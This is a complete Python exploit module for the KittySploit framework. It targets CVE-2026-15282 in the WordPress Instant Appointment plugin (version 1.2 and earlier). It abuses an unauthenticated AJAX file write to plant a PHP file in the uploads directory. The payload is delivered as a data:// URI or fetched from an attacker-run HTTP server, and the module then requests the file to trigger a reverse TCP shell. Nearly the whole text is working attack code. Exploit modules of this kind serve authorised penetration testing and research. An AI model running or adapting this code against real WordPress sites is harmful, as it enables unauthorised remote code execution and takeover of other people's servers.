WordPress Instant Appointment RCE (CVE-2026-15282)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""CVE-2026-15282 — Instant Appointment unauthenticated file write RCE."""

from __future__ import annotations

from typing import Optional

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.instant_appointment_probe import (
    INSTANT_APPOINTMENT_PATCHED_VERSION,
    INSTANT_APPOINTMENT_VULN_MAX,
    InstantAppointment,
    InstantAppointmentPayloadServer,
)
from lib.protocols.http.wordpress import Wordpress


class Module(Exploit, Http_client, Wordpress, InstantAppointment):
    __info__ = {
        "name": "WordPress Instant Appointment RCE (CVE-2026-15282)",
        "description": (
            "Exploits CVE-2026-15282 in Instant Appointment <= 1.2: unauthenticated "
            "add_service_front AJAX passes image_url/image_name to file_get_contents() "
            "and file_put_contents(). Delivers the configured framework PHP payload via "
            "data:// base64 (primary) or a local HTTP server (fallback), writes under "
            "wp-content/uploads/, then triggers execution for reverse_tcp."
        ),
        "author": ["Random Robbie", "KittySploit Team"],
        "cve": ["CVE-2026-15282"],
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2026-15282",
            "https://www.cve.org/CVERecord?id=CVE-2026-15282",
        ],
        "platform": Platform.PHP,
        "arch": [Arch.PHP],
        "category": PayloadCategory.CMD,
        "payload": {
            "default": "payloads/singles/cmd/php/reverse_tcp",
            "arch": Arch.PHP,
            "platform": Platform.PHP,
            "category": PayloadCategory.CMD,
        },
        "tags": [
            "wordpress",
            "wp-plugin",
            "instant-appointment",
            "file-upload",
            "ajax",
            "rce",
            "unauthenticated",
            "cve-2026-15282",
        ],
        "agent": {
            "risk": "intrusive",
            "effects": ["active_exploitation"],
            "expected_requests": 8,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals"],
            "cost": 1.5,
            "noise": 0.5,
            "value": 1.0,
            "requires": {
                "tech_hints_any": ["wordpress", "php"],
                "confidence_min_any": {"wordpress": 0.3},
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "rce", "from_detail": ""},
                    {"capability": "shell", "from_detail": ""},
                ],
                "suggested_followups": [
                    "post/shell/multi/gather/privesc_suggester",
                ],
            },
        },
    }

    payload_port = OptPort(
        9999,
        "Local port serving PHP when data:// delivery fails (uses lhost)",
        False,
    )
    delivery = OptChoice(
        "auto",
        "Payload delivery: data:// URI, remote HTTP fetch, or auto (data then remote)",
        False,
        choices=["auto", "data", "remote"],
    )
    shell_name = OptString("", "Uploaded PHP filename (random if empty)", False, advanced=True)
    skip_version_check = OptBool(
        False,
        "Attempt exploit when plugin version appears patched or unknown",
        False,
        advanced=True,
    )

    def _wp_base(self) -> str:
        return self.wp_normalize_base_path(getattr(self, "path", "/"))

    def _payload_php(self) -> str:
        payload = self.payload
        if isinstance(payload, bytes):
            payload = payload.decode("utf-8", errors="replace")
        php = str(payload or "").strip()
        if not php:
            raise ValueError("No payload configured — set payloads/singles/cmd/php/reverse_tcp")
        return php

    def _shell_filename(self) -> str:
        name = str(self.shell_name or "").strip() or f"ks_{self.random_text(8)}.php"
        return name if name.endswith(".php") else f"{name}.php"

    def check(self):
        probe = self.instant_appointment_probe(self._wp_base())
        if not probe.get("found"):
            return {
                "vulnerable": False,
                "reason": "Instant Appointment plugin not detected",
                "confidence": "medium",
            }

        version = str(probe.get("version") or "")
        vuln = self.instant_appointment_is_vulnerable(version)
        if vuln is False and not bool(self.skip_version_check):
            return {
                "vulnerable": False,
                "reason": (
                    f"Instant Appointment {version} >= {INSTANT_APPOINTMENT_PATCHED_VERSION} "
                    f"(patched)"
                ),
                "confidence": "high",
            }

        if not str(self.payload or "").strip():
            return {
                "vulnerable": True,
                "reason": (
                    f"Instant Appointment {version or 'unknown'} detected — set a PHP payload"
                ),
                "confidence": "medium",
            }

        confidence = "high" if vuln is True else "medium"
        return {
            "vulnerable": True,
            "reason": (
                f"Instant Appointment {version or 'unknown'} at {probe.get('evidence')}; "
                f"CVE-2026-15282 if <= {INSTANT_APPOINTMENT_VULN_MAX}"
            ),
            "confidence": confidence,
        }

    def _trigger_shell(self, shell_path: str) -> bool:
        response = self.http_request(
            method="GET",
            path=shell_path,
            allow_redirects=True,
            timeout=int(self.timeout or 20),
        )
        return bool(response and int(response.status_code or 0) in (200, 500))

    def _upload_via_data(self, php_source: str, shell_name: str, service_stem: str) -> Optional[str]:
        image_url = self.instant_appointment_data_uri(php_source)
        return self.instant_appointment_upload(
            image_url,
            shell_name,
            self._wp_base(),
            service_stem=service_stem,
        )

    def _upload_via_remote(
        self,
        payload_url: str,
        shell_name: str,
        service_stem: str,
    ) -> Optional[str]:
        return self.instant_appointment_upload(
            payload_url,
            shell_name,
            self._wp_base(),
            service_stem=service_stem,
        )

    def run(self):
        server: Optional[InstantAppointmentPayloadServer] = None
        try:
            print_status("CVE-2026-15282 — Instant Appointment unauthenticated file write RCE")

            check = self.check()
            if not check.get("vulnerable"):
                print_error(check.get("reason", "Target does not appear vulnerable"))
                self.not_vulnerable()
                return False

            print_success(check.get("reason", "Target appears vulnerable"))

            php_source = self._payload_php()
            shell_name = self._shell_filename()
            service_stem = f"ks_{self.random_text(8)}"
            delivery = str(self.delivery or "auto").lower()
            shell_path: Optional[str] = None

            if delivery in ("auto", "data"):
                print_status(f"Uploading {shell_name} via data:// wrapper")
                shell_path = self._upload_via_data(php_source, shell_name, service_stem)
                if shell_path:
                    print_success(f"Payload written via data:// → {shell_path}")
                elif delivery == "data":
                    print_error("data:// upload failed — wrapper may be disabled on target")
                    return False
                else:
                    print_warning("data:// delivery failed — trying remote HTTP fetch")

            if not shell_path and delivery in ("auto", "remote"):
                lhost = self.lhost or "127.0.0.1"
                port = int(self.payload_port or 9999)
                server = InstantAppointmentPayloadServer(php_source, host="0.0.0.0", port=port).start()
                payload_url = server.public_url(lhost)
                print_info(f"Serving framework payload at {payload_url}")

                print_status(f"Uploading {shell_name} via remote fetch")
                shell_path = self._upload_via_remote(payload_url, shell_name, service_stem)
                if not shell_path:
                    print_error(
                        "Remote upload failed — target may be patched, blocked, or unreachable from lhost"
                    )
                    return False
                print_success(f"Payload written via remote fetch → {shell_path}")

            if not shell_path:
                print_error("Upload failed with all configured delivery methods")
                return False

            print_status(f"Executing payload: GET {shell_path}")
            if not self._trigger_shell(shell_path):
                print_error("Uploaded PHP not reachable — path may differ or execution blocked")
                return False

            print_success(f"Payload triggered at {shell_path}")
            print_info("Verify listener/session for reverse_tcp callback")
            self.vulnerable()
            return True

        except ValueError as exc:
            print_error(str(exc))
            return False
        except Exception as exc:
            print_error(f"Exploitation failed: {exc}")
            return False
        finally:
            if server:
                server.stop()